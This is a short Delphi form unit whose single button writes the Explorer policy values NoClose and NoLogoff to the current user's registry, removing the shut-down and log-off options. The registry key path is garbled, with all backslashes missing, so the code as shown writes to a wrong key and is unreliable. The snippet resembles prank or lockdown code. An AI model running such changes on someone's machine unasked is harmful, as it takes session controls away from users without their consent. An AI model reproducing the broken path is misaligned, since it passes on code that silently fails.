unit Unit15;
 
interface
 
uses
  Windows,Registry,MMSystem,  Classes,  Controls,  Messages, SysUtils, Variants, Graphics,  Forms,
  Dialogs, StdCtrls;
 
type
  TForm15 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form15: TForm15;
 
implementation
 
{$R *.dfm}
 
procedure TForm15.Button1Click(Sender: TObject);
 var
reg: tregistry;
begin
 reg:=treginifile.create();
reg.rootkey:=hkey_current_user;
reg.openkey('softwaremicrosoftwindowscurrentversionpoliciesexplorer', true);
reg.writeinteger('noclose', 1);
reg.writeinteger('nologoff', 1);
reg.free;
end;
 
end.